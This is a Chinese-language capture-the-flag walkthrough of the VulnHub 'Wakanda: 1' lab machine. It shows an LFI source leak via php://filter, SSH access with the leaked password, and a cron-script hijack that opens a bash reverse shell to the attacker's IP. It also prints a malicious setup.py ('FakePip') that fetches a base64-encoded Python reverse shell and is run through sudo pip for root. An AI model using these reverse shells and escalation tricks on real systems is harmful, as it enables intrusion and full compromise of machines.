【vulnhub】Wakanda :1靶机

靶机安装

下载地址:https://download.vulnhub.com/wakanda/wakanda-1.ova

运行环境:Virtual Box

信息收集

靶机IP扫描

复制代码
netdiscover -i eth0 -r 192.168.7.0/24

端口扫描

复制代码
nmap -A 192.168.7.243 -p-

80端口开启了http服务,在3333端口开启了ssh服务,且ssh版本为openssh6.7,之前了解到openssh7.7之前的版本中存在用户名枚举漏洞。

目录扫描

网址访问

查看源码

拼接扫描到的目录,没有什么有用的信息,

从网页源码上看给了一个参数,拼接访问一下index.php,因为他是脚本文件,不过得删除.php后缀才可以访问成功

lang表示可以随意切换网站的语言,在这里?lang=fr表示语言为法语,可以设置成中文,英语等语言,既然这个lang可以改变语言,那么说明改变语言使用了语言php文件,那么关联的就是文件包含漏洞了,页面没什么可以下手的地方,那我们就构造url,这里就关联到一个知识点,也是我们要用到的:php://filter.它是php中一个独有的协议,它作为一个中间流来处理其流,比如我们可以将我们手上的源码用base64解码来dowm下来.

复制代码
/?lang=php://filter/read=convert.base64-encode/resource=index

base64解码

得到源代码,并且得到了一个password:Niamey4Ever227!!!

复制代码
<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it

if (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}

?>



<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Vibranium market">
    <meta name="author" content="mamadou">

    <title>Vibranium Market</title>


    <link href="bootstrap.css" rel="stylesheet">

    
    <link href="cover.css" rel="stylesheet">
  </head>

  <body class="text-center">

    <div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">
      <header class="masthead mb-auto">
        <div class="inner">
          <h3 class="masthead-brand">Vibranium Market</h3>
          <nav class="nav nav-masthead justify-content-center">
            <a class="nav-link active" href="#">Home</a>
            <!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->
          </nav>
        </div>
      </header>

      <main role="main" class="inner cover">
        <h1 class="cover-heading">Coming soon</h1>
        <p class="lead">
          <?php
            if (isset($_GET['lang']))
          {
          echo $message;
          }
          else
          {
            ?>

            Next opening of the largest vibranium market. The products come directly from the wakanda. stay tuned!
            <?php
          }
?>
        </p>
        <p class="lead">
          <a href="#" class="btn btn-lg btn-secondary">Learn more</a>
        </p>
      </main>

      <footer class="mastfoot mt-auto">
        <div class="inner">
          <p>Made by<a href="#">@mamadou</a></p>
        </div>
      </footer>
    </div>



  

</body></html>

获得了一个密码,想到了开放了3333端口,3333端口用于连接ssh,而连接ssh则需要用户名和密码,密码是有了,但是用户名没有,再反过web页面看一下,底下有作者,尝试一下

获取shell

进行ssh连接

复制代码
ssh mamadou@192.168.7.243 -p 3333
#密码:Niamey4Ever227!!!

这里执行命令,发现执行不出来,这是开启了python shell ,只能通过函数来执行命令,很麻烦,因此,我们利用python shell再开启一个bash shell

复制代码
import os
os.system("/bin/bash")

现在进行查看flag文件

再次进行目录翻找,发现了第2个flag,在目录/home/devops目录下,这应该是两个用户目录,进行查看,发现没有权限

无法执行sudo -l提权,翻看tmp目录

仔细观察后发现,test文件每隔五分钟就会被修改一次,说明有一个定时任务在不断被调用,/srv多用来存放系统服务类脚本的多,最后在srv下找到了这个定期运行文件

尝试将.antivirus.py的内容修改为如下内容

复制代码
f=open('/home/devops/flag2.txt', 'r').read()
open('/tmp/flag.txt','w').write(f)

echo "f=open('/home/devops/flag2.txt', 'r').read()" > .antivirus.py
echo "open('/tmp/flag.txt','w').write(f)" >> .antivirus.py

几分钟后查看tmp目录,果然出现了flag.txt,读取便获得了第二个flag

下一步是要用devops用户身份创建一个shell,所以要转到这个用户,

将.antivirus.py内容改为

复制代码
import os
os.system("echo \'bash -i >& /dev/tcp/192.168.7.47/6767 0>&1\'|bash")

但是我发现内容写不进去,试了好多方法,都没有成功,想到可以在kali上面写一个py文件,通过远程下载到靶机上面,然后替换.antivirus.py文件

挂起一个远程下载的服务

靶机进行远程下载

靶机要跳转到/tmp目录里面,否则不能下载

复制代码
cd /tmp

wget http://192.168.7.47:8000/python.py

进行文件替换命令

复制代码
cp python.py /srv/.antivirus.py

进行监听6767端口,该脚本会自动执行,只需等待几分钟就会连接

提权

sudo提权

sudo -l

发现pip不需要密码

创建一个恶意setup.py并上传到tmp目录,和上面的方法一样,创建文件,并远程下载到/tmp目录下面

复制代码
from setuptools import setup
from setuptools.command.install import install
import base64
import os
 
 
class CustomInstall(install):
  def run(self):
    install.run(self)
    RHOST = '192.168.7.47' 
 
    reverse_shell = 'python -c "import os; import pty; import socket; lhost = \'%s\'; lport = 7777; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"' % RHOST
    encoded = base64.b64encode(reverse_shell)
    os.system('echo %s|base64 -d|bash' % encoded)
 
 
setup(name='FakePip',
      version='0.0.1',
      description='This will exploit a sudoer able to /usr/bin/pip install *',
      url='https://github.com/0x00-0x00/fakepip',
      author='zc00l',
      author_email='andre.marques@esecurity.com.br',
      license='MIT',
      zip_safe=False,
      cmdclass={'install': CustomInstall})

攻击机开启nc监听端口,控制靶机执行

复制代码
sudo -H /usr/bin/pip install . --upgrade --force-reinstall

查看最后一个flag

相关推荐
用户962377954482 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954482 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star2 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954482 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher4 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行7 天前
网络安全总结
安全·web安全
red1giant_star7 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透7 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全